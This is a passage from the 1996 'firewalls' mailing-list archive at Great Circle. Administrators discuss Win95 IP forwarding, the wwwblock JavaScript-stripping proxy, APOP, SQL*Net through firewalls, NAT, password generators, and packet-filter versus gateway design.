>> the local network, thereby acting as a router and exposing the private
network 
>> to the internet.
>
>
>While this is definitely possible, AFAIK, Win95 has IPForwarding turned off.
>
Are you sure. I don't want to start a debate but I was under the impression it
was left on???
It is the very mind itself		Mike Herbert
That leads the mind astray;		herbem2@tdbank.ca
Of the mind,				
Do not be mindless.		#include <usual.disclaimer>


From firewalls-owner  Thu Mar  7 20:31:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA23664 for firewalls-outgoing; Thu, 7 Mar 1996 20:20:32 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id UAA23653 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 20:20:28 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id XAA11493; Thu, 7 Mar 1996 23:13:58 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id XAA20457; Thu, 7 Mar 1996 23:13:31 -0500 (EST)
Date: Thu, 7 Mar 1996 23:13:31 -0500 (EST)
Message-Id: <199603080413.XAA20457@SPARKY.CF.CS.YALE.EDU>
To: billp@synseer.PAL.Roche.com, firewalls@GreatCircle.COM, pmarc@fnbc.com
Subject: wwwblock v1.4 - Javascript stripping & blocking by filename ext.
Cc: brogers@integctr.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


I've incorporated enhancements by Brian Rogers <brogers@integctr.com> in
wwwblock v1.4:

 
1.      The ALLOWFILE and CENSORFILE can now take filename 
        extension patterns of the form:  
 
        *.csh
        *.script
        *.sh
 
2.      If you define FILTER_JAVASCRIPT in the Makefile and then
        build the software it will strip Javascript from streaming HTML
        between <SCRIPT> and </SCRIPT> effectively disabling it.


 
The alpha software is available as a gzipped tar file via URLs:
 
 ftp://sparky.cs.yale.edu/pub/long/src/network/security/wwwblock-1.4.tar.gz
 http://sparky.cs.yale.edu/pub/long/src/network/security/wwwblock-1.4.tar.gz
 
- Morrow



From firewalls-owner  Thu Mar  7 20:46:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA23593 for firewalls-outgoing; Thu, 7 Mar 1996 20:18:43 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id UAA23586 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 20:18:34 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id XAA11493; Thu, 7 Mar 1996 23:13:58 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id XAA20457; Thu, 7 Mar 1996 23:13:31 -0500 (EST)
Date: Thu, 7 Mar 1996 23:13:31 -0500 (EST)
Message-Id: <199603080413.XAA20457@SPARKY.CF.CS.YALE.EDU>
To: billp@synseer.PAL.Roche.com, firewalls@GreatCircle.COM, pmarc@fnbc.com
Subject: wwwblock v1.4 - Javascript stripping & blocking by filename ext.
Cc: brogers@integctr.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


I've incorporated enhancements by Brian Rogers <brogers@integctr.com> in
wwwblock v1.4:

 
1.      The ALLOWFILE and CENSORFILE can now take filename 
        extension patterns of the form:  
 
        *.csh
        *.script
        *.sh
 
2.      If you define FILTER_JAVASCRIPT in the Makefile and then
        build the software it will strip Javascript from streaming HTML
        between <SCRIPT> and </SCRIPT> effectively disabling it.


 
The alpha software is available as a gzipped tar file via URLs:
 
 ftp://sparky.cs.yale.edu/pub/long/src/network/security/wwwblock-1.4.tar.gz
 http://sparky.cs.yale.edu/pub/long/src/network/security/wwwblock-1.4.tar.gz
 
- Morrow



From firewalls-owner  Thu Mar  7 21:33:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA25890 for firewalls-outgoing; Thu, 7 Mar 1996 21:17:14 -0800 (PST)
Received: from crl.crl.com (crl.com [165.113.1.12]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA25885 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 21:17:08 -0800 (PST)
Received: by crl.crl.com id AA02136
  (5.65c/IDA-1.5); Thu, 7 Mar 1996 21:03:07 -0800
Date: Thu, 7 Mar 1996 21:03:07 -0800 (PST)
From: Tim Keanini <blast@crl.com>
To: "P. Godwin" <pgodwin@claven.den.mmc.com>
Cc: dannyc@gmap.leeds.ac.uk, firewalls@greatcircle.com
Subject: Re: POP server with UIDL command
In-Reply-To: <313e19672fc7002@claven.den.mmc.com>
Message-Id: <Pine.SUN.3.91.960307205956.1825E-100000@crl.crl.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Wed, 6 Mar 1996, P. Godwin wrote:

> Excellent info resource for POP3 and IMAP is the "E-Mail POP3 Web Resources"
> page at: 
>      http://andrew2.andrew.cmu.edu/cyrus/email/servers-POP.html

I have yet to find a POP3 server that will support APOP authentication.
Please send me a 'oneliner' if you know of such a beast.  
What I have found odd is that although Eudora supports APOP,
'qpopper has nothing to support APOP. 'grep'ed it and found nothing.
Sorry if this is not a firewall topic but sending a passwd in the clear
is a "no no".

--blast

From firewalls-owner  Thu Mar  7 21:46:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA27155 for firewalls-outgoing; Thu, 7 Mar 1996 21:43:20 -0800 (PST)
Received: from citecuh.citec.qld.gov.au (citecuh.citec.qld.gov.au [203.5.10.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id VAA27148 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 21:43:00 -0800 (PST)
Received: (from mail@localhost) by citecuh.citec.qld.gov.au (8.7.4/8.7.3) id PAA21457 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 15:34:30 +1000 (EST)
X-Authentication-Warning: citecuh.citec.qld.gov.au: mail set sender to <sgcccdc@citec.qld.gov.au> using -f
Received: from guru.citec.qld.gov.au(147.132.20.47) by citecuh.citec.qld.gov.au via smap (V1.3)
	id /mail/incoming/sma021435; Fri Mar  8 15:34:08 1996
Received: (from sgcccdc@localhost) by guru.citec.qld.gov.au (8.6.12/8.6.12) id PAA13189 for firewalls@greatcircle.com; Fri, 8 Mar 1996 15:40:17 +1000
From: Colin Campbell <sgcccdc@citec.qld.gov.au>
Message-Id: <199603080540.PAA13189@guru.citec.qld.gov.au>
Subject: x400-gw?
To: firewalls@greatcircle.com
Date: Fri, 8 Mar 1996 15:40:16 +1000 (EST)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Stop laughing at me!!!

Does anyone have/know of an x.400 gateway? I have possible need
of something to filter some mail. The current proposal is to 
use RFC1006 and tunnel X.400 through our firewall. I just read
said document and was less than impressed by the implications
of our intended actions.

Therefore I am desperately seeking susan or a smap/smapd-like
combination for the firewall.

Colin

From firewalls-owner  Thu Mar  7 23:16:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA00433 for firewalls-outgoing; Thu, 7 Mar 1996 23:06:08 -0800 (PST)
Received: from Mail.RC.Toronto.on.ca (rcooper.the-wire.com [198.53.192.91]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id XAA00425 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 23:06:02 -0800 (PST)
Received: from ts3-09.wpg.InfoRamp.Net ([204.191.192.69])
          by Mail.RC.Toronto.on.ca (post.office MTA v1.9.1
          evaluation license) with SMTP id AAA222;
          Fri, 8 Mar 1996 02:04:26 -0500
Received: by ts3-09.wpg.InfoRamp.Net with Microsoft Mail
	id <01BB0C7A.875293E0@ts3-09.wpg.InfoRamp.Net>; Thu, 7 Mar 1996 23:05:07 -0500
Message-ID: <01BB0C7A.875293E0@ts3-09.wpg.InfoRamp.Net>
From: Russ <Russ.Cooper@RC.Toronto.on.ca>
To: "'Rev. Ben'" <samman-ben@CS.YALE.EDU>,
        "'docloc@msn.com'"
	 <docloc@msn.com>
Cc: "'Firewalls'" <firewalls@GreatCircle.COM>
Subject: RE: Security of Networked Workstations with dial-up PPP Internet!!!
Date: Thu, 7 Mar 1996 22:50:39 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

"While this is definitely possible, AFAIK, Win95 has IPForwarding turned 
off."

Win95 can easily be configured as a PPP-LAN router through the registry, so 
treat it as you would NT in that regard (powerful stuff that dial-up 
networking...).

Cheers,
Russ


From firewalls-owner  Fri Mar  8 00:16:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA03277 for firewalls-outgoing; Fri, 8 Mar 1996 00:06:02 -0800 (PST)
Received: from hk.super.net (hk.super.net [202.14.67.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id AAA03271 for <Firewalls@GreatCircle.Com>; Fri, 8 Mar 1996 00:05:56 -0800 (PST)
Received: from is3.hk.super.net (root@is3.hk.super.net [202.14.67.36]) by hk.super.net (8.7.5/8.7.1) with ESMTP id QAA14090 for <Firewalls@GreatCircle.Com>; Fri, 8 Mar 1996 16:04:28 +0800 (HKT)
Received: from sect5-p0969 (max1-22.hk.super.net [202.64.17.22]) by is3.hk.super.net (8.7.5/8.7.1) with SMTP id QAA12523 for <Firewalls@GreatCircle.Com>; Fri, 8 Mar 1996 16:04:24 +0800 (HKT)
Message-ID: <3140D86E.2CA1@hk.super.net>
Date: Fri, 08 Mar 1996 16:01:34 -0900
From: Vinci Chou <vkmchou@HK.Super.NET>
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: Firewalls@GreatCircle.Com
Subject: Re: SQL*Net proxy?
References: <9603041412.AA21559@rs3.wmd.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Marco Pauck wrote:
> 
> > As someone mentioned previously, Oracle has a document explaining the
> > issues with SQLnet and firewalls in fairly good detail. The document
> > name is "SQL*Net and Firewalls" and is dated October 1995. It is labeled
> > "Part C10451". The following is an excerpt from that document:
> >
> > "When the IP port number of the SQL*Net connection can be determined in advance,
> > such as 1521, then connection can be permitted with some degree of security.
> > Systems running multi-threaded servers, pre-spawned servers, or ones with
> > architectures that do not support IP port sharing, require dynamic port allocation
> > which tends to prevent connections. Firewall support where IP port redirection
> > is employed requires an intelligent filter to monitor the port redirection
> > information during the connect phase so that the filter can selectively open
> > up the required port. Alternatively, a wide range of ports would have to be
> > opened in advance, which would severely compromise security. In an application
> > proxy solution the proxy itself handles IP port redirection issues."
> >
> > The architecture support mentioned above implies operating system and
> > TCP/IP implementation. I've *heard* that AIX has this limitation.
> 
> I should mention that we use plug-gw with AIX 3.2.5 without problems.
> No, I don't know about AIX 4.1.
> 

I've just read the "SQL*Net and Firewalls" White Paper from Oracle, my
understanding is summarized below -
1. Multi-Threaded Server (MTS) and pre-spawned servers ALWAYS use dynamic
   port numbers.
2. "Dedicated Server" may either use
   a) a single port number say 1521 ; or
   b) dynamic port numbers
   Wherever possible, option (a) is taken.
   It is the operating system and TCP/IP protocol implementation that
   determines which option is taken, not the version of Oracle or
   SQL*Net.
3. Oracle is produc--ing (i.e. not available yet) a SQL*Net proxy which
   Oracle encourage FW vendors to integrate into their products.
   The proxy is based on the Oracle Multi-Protocol Interchange (MPI)
   and will support SQL*Net V2 only.

Therefore, my observation is that -
1. There is no satisfactory solution for allowing SQL*Net traffic
   through FW if Oracle is configured as MTS or pre-spawned servers.
   No application proxy at present handle this.
   Gary Flynn quoted the White Paper "In an application proxy solution
   the proxy itself handles IP port redirection issues." is only a
   requirement that FW vendors need to work on.  This product doesn't
   exist at this moment.
2. There is no mention in the White Paper as to what OS and what TCP/IP
   implementation will cause a Dedicated Server to use dynamic port
   numbers.  The limitation seems to be applicable to those that
   "do not support IP port sharing".
3. My preliminary (VERY preliminary) testing using Oracle 7 on
   HP-UX 9.x using SQL*Net v1 and Solaris 2.4 using both SQL*Net v1
   and v2 revealed that a FIXED port number on the server is used.
   The client port number is random but is constant for that specific
   session.  In such a case, it is possible to apply simple filtering
   rules on screening routers or use such things as Plug-GW.  There is
   no need for setting up a Server to Server interchange.

Any one has comments, either agree or disagree with my observations ?

Also, anybody aware that if any Stateful Inspection FW can handle the
session redirect by the Listener to the MTS ?  I suppose this is rather
easy to implement, isn't it ?

From firewalls-owner  Fri Mar  8 02:31:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA10411 for firewalls-outgoing; Fri, 8 Mar 1996 02:16:03 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA10385 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 02:15:43 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA10859; Fri, 8 Mar 1996 11:14:49 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma011361; Fri Mar  8 11:14:42 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA13387; Fri, 8 Mar 1996 11:13:47 +0100
Message-Id: <9603081013.AA13387@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA12987; Fri, 8 Mar 96 11:13:46 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA12352; Fri, 8 Mar 96 11:13:44 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: firewalls: NT Firewalls - Reply
To: jtingiris@gw.paradyne.com (Jay Tingiris)
Date: Fri, 8 Mar 1996 11:13:43 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <s13ed7db.053@gw.paradyne.com> from "Jay Tingiris" at Mar 7, 96 12:32:10 pm
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> For an inexpensive firewall you should look at Linux coupled with TIS Toolkit.
>  Both Linux and TIS are free!  All you need is a multi-homed PC.
> 
the sources are free, yes, but not the implementation.
it's probably a poor choice for someone searching a NT firewall.

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Fri Mar  8 03:31:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA13570 for firewalls-outgoing; Fri, 8 Mar 1996 03:16:05 -0800 (PST)
Received: from po-external.FCNBD.COM ([147.113.146.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id DAA13535 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 03:15:48 -0800 (PST)
Received: from po-internal.FCNBD.COM ([147.113.112.122]) by po-external.FCNBD.COM (8.7.2/fcnbd/domain/1.5) with ESMTP id FAA18949 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 05:15:12 -0600 (CST)
Received: from abacab.cmg.FCNBD.COM (abacab.cmg.FCNBD.COM [147.113.112.11]) by po-internal.FCNBD.COM (8.7.2/fcnbd/internal-domain/1.4) with ESMTP id FAA03786 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 05:14:07 -0600 (CST)
Received: from abernathy.fnbc.com (pmarc@abernathy.FNBC.COM [147.113.112.83]) by abacab.cmg.FCNBD.COM (8.7.2/fcnbd/server-subdomain/2.0) with ESMTP id FAA25205 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 05:14:49 -0600 (CST)
Received: (from pmarc@localhost) by abernathy.fnbc.com (8.7.3/8.7.1) id FAA00244 for firewalls@GreatCircle.COM; Fri, 8 Mar 1996 05:13:31 -0600 (CST)
Message-Id: <199603081113.FAA00244@abernathy.fnbc.com>
MIME-Version: 1.0 (NeXT Mail 3.3risc v118.3)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
In-Reply-To: <199603072303.SAA19388@SPARKY.CF.CS.YALE.EDU>
X-Nextstep-Mailer: Mail 3.3 (Enhance 1.0)
Received: by NeXT.Mailer (1.118.3)
From: "Paul M. Cardon" <pmarc@fnbc.com>
Date: Fri,  8 Mar 96 05:13:21 -0600
To: firewalls@GreatCircle.COM
Subject: Re: HTTP Proxy that can block ..
Reply-To: pmarc@fnbc.com
References: <199603072303.SAA19388@SPARKY.CF.CS.YALE.EDU>
X-Warners: Yakko, Wakko, and Dot
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

My mailer insists that long-morrow@CS.YALE.EDU wrote:
> "Bill Putney" <brogers@integctr.com> has made the changes =
necessary
> to the wwwblock 1.2 version WWW proxy filter agent I wrote to
> filter out enough of the JavaScript (function declarations) to
> disable it.
>=20
> N.B. According to Bill, enabling the JavaScript filtering in the
> app level proxy has a noticable impact on performance though.

That is one of the reasons why I want to filter based on the =
browser type.  The performance impact of filtering the JavaScript =
itself would probably be unacceptable, especially since the number =
of users of Navigator 2.0 is still a small minority at this point.


---
Paul M. Cardon
System Officer - Capital Markets Systems=20
First Chicago NBD Corporation

MD5 (/dev/null) =3D d41d8cd98f00b204e9800998ecf8427e

From firewalls-owner  Fri Mar  8 03:46:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA14157 for firewalls-outgoing; Fri, 8 Mar 1996 03:32:48 -0800 (PST)
Received: from ns1.digital.fr (ns1.digital.fr [193.56.15.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id DAA14113 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 03:32:04 -0800 (PST)
Received: from vbormc.vbo.dec.com (vbormc.vbo.dec.com [16.36.208.94]) by ns1.digital.fr (8.7/8.7) with ESMTP id MAA19855 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 12:30:50 +0100
Received: (from root@localhost) by vbormc.vbo.dec.com (8.7.3/8.7) with UMC id MAA00215 for firewalls@greatcircle.com; Fri, 8 Mar 1996 12:24:52 +0100
Received: from umc by vbormc.vbo.dec.com via MR/VALMTS with conversational-MRIF;
	Fri, 08 Mar 96 12:24:51 +0100
Posted: Fri, 08 Mar 96 11:21:01 +0100
Date: Fri, 08 Mar 96 11:19:01 +0100
From: "Stuart HOTCHKISS @AEO" <hotchkiss@a1_annecy.frmrc.aeo.mts.dec.com>
Message-ID: <44521180306991/6766537@FRMRC>
To: firewalls@greatcircle.com
Subject: Address translation
Msg-Class: ALL-IN-1 IOS Server for VMS V3.0 PBL123A  (US) ENGLISH 21-MAR-1992
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

[This message is converted from WPS-PLUS to ASCII]

Question to Cisco.Can your NAT handle a situation where an internal machine
has the same address as an external Web server but can still access the
server transparently?

From firewalls-owner  Fri Mar  8 05:16:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA18726 for firewalls-outgoing; Fri, 8 Mar 1996 05:03:51 -0800 (PST)
Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA18557 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 05:03:21 -0800 (PST)
Message-Id: <199603081303.FAA18557@miles.greatcircle.com>
Received: by cheops.anu.edu.au
	(1.37.109.16/16.2) id AA154010208; Sat, 9 Mar 1996 00:03:28 +1100
From: Darren Reed <avalon@coombs.anu.edu.au>
Subject: Re: FireWall-1 Unofficial Web Site
To: jim.brown@ptech.com (Jim Brown)
Date: Sat, 9 Mar 1996 00:03:28 +1100 (EDT)
Cc: firewalls@GreatCircle.COM, charles.hutson@ptech.com,
        ray.locklear@ptech.com, starr.hill-bennett@ptech.com
In-Reply-To: <9603061331.AA13561@nexus.ptech.com> from "Jim Brown" at Mar 6, 96 08:31:14 am
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In some mail from Jim Brown, sie said:
> 
> 
> Hello,
> 
> I am interested in providing an "unofficial" firewall-1 web and
> ftp site.  I know that there are lots of people hacking up perl
> and INSPECT code to tweak firewall-1 for their purposes.  I
> would like our web site (http://www.ptech.com) to provide a clearing
> house for firewall-1 information of all types.

Do you have a more specific URL ?

Maybe I'm blind, but I don't see anything there to do with Firewall-1,
nor do I have time to navigate your web to find it or to scroll through
all your advertising crap.

darren

From firewalls-owner  Fri Mar  8 05:31:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA18900 for firewalls-outgoing; Fri, 8 Mar 1996 05:09:46 -0800 (PST)
Received: from dcb01a.cwi.net (dcb01a.cwi.net [205.136.1.65]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA18895 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 05:09:41 -0800 (PST)
Received: from mailhub.crtinc.com (mailhub.crtinc.com [206.142.7.5]) by dcb01a.cwi.net (8.6.9/8.6.9) with SMTP id IAA07309 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:08:16 -0500
Received: by mailhub.crtinc.com with Microsoft Mail
	id <31405B70@mailhub.crtinc.com>; Fri, 08 Mar 96 08:08:16 PST
From: "Husa, Carl" <carl@crtinc.com>
To: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: FW: Security of Networked Workstations with dial-up PPP Intern   et!!!
Date: Fri, 08 Mar 96 08:22:00 PST
Message-ID: <31405B70@mailhub.crtinc.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk




 ----------
From:  Russ[SMTP:Russ.Cooper@RC.Toronto.on.ca]
Sent:  Thursday, March 07, 1996 10:50 PM
To:  'Rev. Ben'; 'docloc@msn.com'
Cc:  'Firewalls'
Subject:  RE: Security of Networked Workstations with dial-up PPP   
Internet!!!



>"While this is definitely possible, AFAIK, Win95 has IPForwarding turned   

>off."

>Win95 can easily be configured as a PPP-LAN router through the registry,   
so
>treat it as you would NT in that regard (powerful stuff that dial-up
>networking...).

>Cheers,
>Russ


while its true that you can make that adjustment in the registry, and it   
might work (and then again might not!), Microsoft will not support   
Windows95 configured with iprouting enabled (and they say so in January   
Technet)



From firewalls-owner  Fri Mar  8 05:46:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA19324 for firewalls-outgoing; Fri, 8 Mar 1996 05:20:29 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA19319 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 05:20:25 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id IAA03334; Fri, 8 Mar 1996 08:17:20 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id IAA21818; Fri, 8 Mar 1996 08:16:58 -0500 (EST)
Date: Fri, 8 Mar 1996 08:16:58 -0500 (EST)
Message-Id: <199603081316.IAA21818@SPARKY.CF.CS.YALE.EDU>
To: bobk@manzanita.DEV.3Com.COM, firewalls@greatcircle.com
Subject: Re:  Password generating program
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

bobk@manzanita.DEV.3Com.COM wrote:
>I've heard that there is a password generating program that will generate
>fairly random, but pronounceable passwords.
>
>If anyone knows of the source of such a program, I'd appreciate hearing
>from them.  Unless they do, I'll return the source of information to the list.

Well, I've added some additional randomness to my 'randpass' program
(adding a prompt for a random number between 1 and 4,294,967,295, this
is used with the system clock time and the process ID to build seeds.
It is hard to come up with good truly random numbers!).

When run as 'randpass -p' to produces more pronounceable passwords but
reduces the search space to just upper and lower case characters.

The standard mode ( just 'randpass' ) produces more random passwords
(which look like line noise), guarunteed to be a good mix of digits,
characters in both cases and punctuation symbols.

The software is available as a C source file via URLs:
 
 ftp://sparky.cs.yale.edu/pub/long/src/network/security/randpass.c
 http://sparky.cs.yale.edu/pub/long/src/network/security/randpass.c
 
- Morrow


From firewalls-owner  Fri Mar  8 05:56:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA18879 for firewalls-outgoing; Fri, 8 Mar 1996 05:09:28 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA18874 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 05:09:23 -0800 (PST)
Received: from pm1-13.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA24667; Fri, 8 Mar 96 08:05:44 -0500
Date: Fri, 8 Mar 96 08:05:44 -0500
Message-Id: <9603081305.AA24667@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily, Rick Smith at 03:46 PM 3/7/96 -0600, did write:


>>...but i'm sure, it's only a question of time till vendors will offer
>>both, application level and packet filtering firewalls. 

Perhaps - although I doubt if they would incorporate both into the same
product.

>it would be
>>a very good argument if they are acting as a consulter, too.
>

I disagree here.  Having the firewall vendor acting as a consultant puts
the vendor in a conflict-of-interest situation.  (Sort of like turning
the keys of the prison over to the inmates and telling them they are not
supposed to leave the premises).


>I don't see much sense in putting application gateways and packet
>filters in the same box, or hooking them up in parallel. If the
>networks in question needs the degree of separation provided by an
>application gateway, then you're dilluting the effect by letting a
>filtered packet flow in along with it.
>

Agreed.  Putting different levels of security in parallel will ensure
that the weaker of the two will be used to bypass the stronger security.

Also, it is a good idea to put an IP Packet Filter (on the Internet/untrusted
side) in series with the firewall (with the IP Packet Filter set up so
that it filters the exact same items as the firewall).  There are two 
advantages to this:

o There will be an increase in performance in the firewall.  
  Since the IP Packet Filter is blocking services that the firewall will
  also block, the firewall won't be wasting its CPU resources blocking a 
  connection which is going to be rejected anyway.

o The IP Packet Filter can act as a crude (and inadequate) first layer of 
  defense in protecting the company's networks.  If the Firewall Admin 
  makes a mistake in setting up the firewall rules, the IP Packet Filter 
  will help reduce the risk (somewhat) of the company's exposure to the
  Internet.  While a successful attack is possible under these circumstances,
  it may buy enough time for Firewall Admin to catch the mistake and take
  appropriate corrective actions.


In the above instances, a router may be sufficient to serve as the IP 
Packet Filter (a low-cost option worth considering).  For the ultra-
paranoid who can afford it, place a stateful IP Packet Filter in series
between the external router & the (Applications Gateway) Firewall.

>Rick.
>smith@sctc.com       secure computing corporation - ISO 9001 certified!


Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  8 06:46:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA22087 for firewalls-outgoing; Fri, 8 Mar 1996 06:14:42 -0800 (PST)
Received: from dns.eng.auburn.edu (dns.eng.auburn.edu [131.204.10.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA22080 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 06:14:35 -0800 (PST)
Received: from netman.eng.auburn.edu (netman.eng.auburn.edu [131.204.12.24]) by dns.eng.auburn.edu (8.7.4/8.6.4) with ESMTP id IAA23268 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:13:07 -0600 (CST)
From: Doug Hughes <Doug.Hughes@Eng.Auburn.EDU>
Received: (doug@localhost) by netman.eng.auburn.edu (SMI-8.6/8.6.4) id IAA02896; Fri, 8 Mar 1996 08:13:05 -0600
Date: Fri, 8 Mar 1996 08:13:05 -0600
Subject: Re: Password generating program
To: firewalls@greatcircle.com
Message-Id: <doug-9602081413.AA0032430@netman.eng.auburn.edu>
In-Reply-To: <9603071655.AA13737@manzanita.DEV.3Com.COM.noname>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


We've got one that a former employee here (now workin for Sun) wrote.
It works well. They aren't pronounceable, but the are a mixture of
lower and uppercase letters and numbers.

ftp.eng.auburn.edu:/pub/doug/rndpasswd.c

[ This message has been sent to the firewalls list. If you wish to reply
to it, please reply to the list and not to me directly, unless it is 
